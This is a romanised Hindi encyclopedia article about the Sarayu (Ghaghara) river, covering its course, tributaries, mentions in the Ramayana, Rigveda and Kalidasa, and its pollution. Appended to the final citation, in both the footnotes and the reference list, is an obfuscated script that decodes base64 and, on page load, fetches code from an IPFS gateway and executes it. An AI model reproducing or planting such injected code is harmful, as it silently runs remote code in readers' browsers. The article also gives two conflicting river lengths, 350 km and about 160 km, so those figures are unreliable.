सरयू नदी

	sarayoo nadi
	sarayoo nadi\|200px\|center
any nam	'ghaghara', 'sarajoo' tatha 'sharada', 'kali nadi'.
desh	bharat
rajy	uttar pradesh
pramukh nagar	baharaich, sitapur, goanda, phaijabad, ayodhya, rajesultanapur, doharighat, baliya adi shahar is nadi ke tat par sthit haian.
udgam sthal	himalay
lambaee	350 kilomitar
sahayak nadiyaan	rapti
pauranik ullekh	ayodhya se kuchh door sarayoo ke tat par ghana jangal sthit tha, jahaan ayodhya naresh akhet ke lie jaya karate the. dasharath ne isi van mean akhet ke samay bhool se shravan kumar ka vadh kar diya tha.
dharmik mahattv	ramayan kal mean sarayoo kosal janapad ki pramukh nadi thi. mana jata hai ki bhagavan ram ne isi nadi mean jal samadhi li thi.
any janakari	sarayoo nadi ko apane oopari bhag mean, jahaan ise 'kali nadi' ke nam se jana jata hai, yah kafi doori tak bharat (uttarakhand rajy) aur nepal ke bich sima banati hai.

ayodhya vishay soochi

ayodhya prachin ullekh bauddh sahity mean ayodhya ayodhya ka utkhanan mahakavy mean ayodhya madhyakal mean ayodhya sarayoo nadi

sarayoo nadi uttar pradesh mean ayodhya ke nikat bahane vali bharat ki prachin nadiyoan mean se ek hai. 'ghaghara', 'sarajoo' tatha 'sharada' is nadi ke any nam haian. yah himalay se nikalakar uttari bharat ke ganga ke maidan mean bahane vali nadi hai, jo baliya aur chhapara ke bich mean ganga mean mil jati hai. apane oopari bhag mean, jahaan ise 'kali nadi' ke nam se jana jata hai, yah kafi doori tak bharat (uttarakhand rajy) aur nepal ke bich sima banati hai.

pauranik ullekh

ramayan kal mean sarayoo kosal janapad ki pramukh nadi thi-

‘kosalo nam muditah sphito janapadoan mahanh, nivishtah sarayootire prabhootadhanadhanyavanh. ayodhya nam nagari tatrasillokavishruta manuna manavainadren ya puri nirmita svayamh.’^[1]

ayodhya se kuchh door sarayoo ke tat par ghana jangal sthit tha, jahaan ayodhya naresh akhet ke lie jaya karate the. dasharath ne isi van mean akhet ke samay bhool se shravan kumar ka, jo sarayoo se apane aandhe mata-pita ke lie jal lene ke lie aya tha, badh kar diya tha-

‘tasminnati sukhakale dhanushmanishumanrathi vyayamakritasankalpah sarayoomanvagaan nadimh, nipane mahishan ratraugajan babhyagatanmrigamh, anyadh va shvapadan kianchijjidhaansurajitendriya’; ‘apashyabhishuna tire sarayoobasta pasan hatamh, avakinanjatabharan praviddhikalashodakamh.'^[2]

sarayoo nadi ka rrigved mean ullekh hai aur yah kaha gaya hai ki 'yadu' aur 'turvasasu' ne ise par kiya tha.^[3]
panini ne 'ashtadhyayi'^[4] mean sarayoo ka namollekh kiya hai.
'padmapuran' ke uttarakhand^[5] mean bhi sarayoo nadi ka mahatmy varnit hai.
sarayoo nadi ayodhyavasiyoan ki b di priy nadi thi. kalidas ke 'raghuvansh' mean ram sarayoo ko janani ke saman hi poojy kahate haian-

‘seyan madiya jananiv ten manyen rajna sarayooviyukta, doore basantan shishiranilairmaan tarangahastairoopagoohativ.’^[6]

sarayoo ke tat par anek yajnoan ke roopoan ka varnan kalidas ne apane mahakavy 'raghuvansh'^[7] mean kiya hai-

‘jalani ya tiranikhatayoopa bahatyayoshyamanurajadhanimh’.

mahabharat, anushasanaparv^[8] mean sarayoo ko manasarovar se nissrit mana gaya hai. 'adhyatm ramayan' mean bhi isi tathy ka nirdesh hai-

'esha bhagirathi ganga drishyate lokapavani, esha sa drishyate site sarayooryoopamalini.^[9]

[[chitr:Shri-Rama.jpg|thumb|bhagavan shriram]]

sarayoo manasarovar se nikalati hai, jisaka nam 'brahmasar' bhi hai. kalidas ke nimn varnan^[10] se yah kathan soochit hota hai-

'payodharaiah punyajanaangananaan nirvishtahemambujarenu yasyaah brahmansarah karanamaptavacho buddherivavyaktamudaharanti.'

uparokt uddharan se yah bhi jan p data hai ki kalidas ke samay mean paramparagat roop mean is tathy ki janakari yadyapi thi, to bhi sarayoo ke udgam ko shayad hi kisi ne dekha tha. is bhaugolik tathy ka jnan tulasidas ko bhi tha, kyoanki unhoanne sarayoo ko 'manasanandani' kaha hai.^[11]

sarayoo manasarovar se pahale 'kau dayali' nam dharan karake bahati hai; phir isaka nam sarayoo aur aant mean 'ghaghara' ya 'gharghara' ho jata hai.
sarayoo chhapara (bihar) ke nikat ganga mean milati hai. ganga-sarayoo sangam par 'cheran' namak prachin sthan hai.^[12]
kalidas ne sarayoo-jahnavi sangam ko tirth bataya hai. yahaan dasharath ke pita aj ne vriddhavastha mean pran tyag die the-

'tirthe toyavyatikarabhave jahnukanyaravvo deanhatyagadamarananalekhayamasady sadyah.'^[13]

sambhavat: uparokt tirth 'cheran' ke nikat raha hoga.

mahabharat, bhishmaparv^[14] me sarayoo ka namollekh is prakar hai-

'rahasyaan shatakubhaan ch sarayooan ch tathaiv ch, charmanvatian vetravatian hastisomaan dishr tatha.'

shrimadbhagavat^[15] me nadiyoan ki soochi mean bhi sarayoo pariganit hai-

'yamuna sarasvati drishadvati gomati sarayoo.'

miliandapanho namak bauddh granth mean sarayoo ka 'sarabhoo' kaha gaya hai, jo pathaantar matr hai.

'ramacharitamanas' ka ullekh

'avadhapuri mam puri suhavani,
dakshin dish bah sarayoo pavani' ^[16]

ramacharit manas ki is chaupaee mean sarayoo nadi ko ayodhya ki pahachan ka pramukh chihn bataya gaya hai. ram ki janm-bhoomi ayodhya uttar pradesh mean sarayoo nadi ke daean tat par sthit hai. ayodhya hinduoan ke prachin aur sat pavitr tirthasthaloan mean ek hai. ayodhya ko atharvaved mean eeshvar ka nagar bataya gaya hai aur isaki sanpannata ki tulana svarg se ki gee hai.

aitihasikata

nadiyoan mean aitihasik drishti se mahattvapoorn sarayoo nadi ka astitv bhi ab khatare mean hai. ramayan ke anusar bhagavan ram ne isi nadi mean jal samadhi li thi. sarayoo nadi ka udh‌gam uttar pradesh ke baharaich zile se hua hai. baharaich se nikalakar yah nadi goanda se hoti huee ayodhya tak jati hai. pahale yah nadi goanda ke 'parasapur' tahasil mean 'pasaka' namak tirth sthan par ghaghara nadi se milati thi. par ab yahaan baandh ban jane se yah nadi pasaka se qarib 8 kilomitar age 'chandapur' namak sthan par milati hai. ayodhya tak ye nadi sarayoo ke nam se jani jati hai, lekin usake bad yah nadi 'ghaghara' ke nam se jani jati hai. sarayoo nadi ki kul lanbaee lagabhag 160 kilomitar hai. hianduoan ke pavitr devata bhagavan shri ram ke janmasthan ayodhya se ho kar bahane ke karan hiandoo dharm mean is nadi ka vishesh mahatv hai. sarayoo nadi ka varnan rrigved mean bhi milata hai.

sahayak nadi tatha tatavarti nagar

[[chitr:View-Of-Ayodhya-3.jpg|thumb|ayodhya ka ek drishy]] sarayoo nadi ki pramukh sahayak nadi rapti hai, jo isamean uttar pradesh ke devariya zile ke 'barahaj' namak sthan par milati hai. is kshetr ka pramukh nagar gorakhapur isi rapti nadi ke tat par sthit hai aur rapti tantr ki any nadiyaan ami, jahnavi ityadi haian, jinaka jal aantatah sarayoo mean jata hai. baharaich, sitapur, goanda, phaijabad, ayodhya, rajesultanapur, doharighat, baliya adi shahar is nadi ke tat par sthit haian.

pradooshan

ab vartaman mean yah aitihasik nadi apana mahatv khoti ja rahi hai. lagatar hoti chhe dachha d aur manaviy hastakshep ke karan is nadi ka astitv ab khatare mean hai. aisa mana jata hai ki hai ki is nadi ke pani mean charm rogoan ko door karane ki adh‌bhut shakti hai. is nadi mean vibhinn prakar ke jiv jantuoan ke sath hi aisi vanaspatiyaan bhi haian, jo nadi ke pani ko shuddh kar pani mean aushadhiy shakti ko bhi badhati haian.^[17]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani

↑ valmiki ramayan 5, 19
↑ valmiki ramayan, ayodhyakand 63, 20-21-36
↑ rrigved 4, 30, 18; 10, 64, 9; 5, 53, 9
↑ ashtadhyayi 6, 4, 174
↑ 35-38
↑ raghuvansh 13, 63
↑ raghuvansh 13, 63
↑ anushasanaparv 155
↑ adhyatm ramayan, yuddhakaand 14, 13
↑ 'raghuvansh' 13, 60
↑ ramacharitamanas, balakaand
↑ isake kuchh age patana ke oopar shon, ganga se milati hai
↑ raghuvansh 8, 95
↑ bhishmaparv 9, 19
↑ shrimadbhagavat 5, 19, 18
↑ ramacharit manas
↑ ab sarayoo nadi bhi khatare mean (hindi). . abhigaman tithi: 20 mee, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sambandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] valmiki ramayan 5, 19

[2] valmiki ramayan, ayodhyakand 63, 20-21-36

[3] rrigved 4, 30, 18; 10, 64, 9; 5, 53, 9

[4] shtadhyayi 6, 4, 174

[5] 35-38

[6] raghuvansh 13, 63

[7] raghuvansh 13, 63

[8] ushasanaparv 155

[9] yatm ramayan, yuddhakaand 14, 13

[10] 'raghuvansh' 13, 60

[11] ramacharitamanas, balakaand

[12] sake kuchh age patana ke oopar shon, ganga se milati hai

[13] raghuvansh 8, 95

[14] shmaparv 9, 19

[15] shrimadbhagavat 5, 19, 18

[16] ramacharit manas

[17] sarayoo nadi bhi khatare mean (hindi). . abhigaman tithi: 20 mee, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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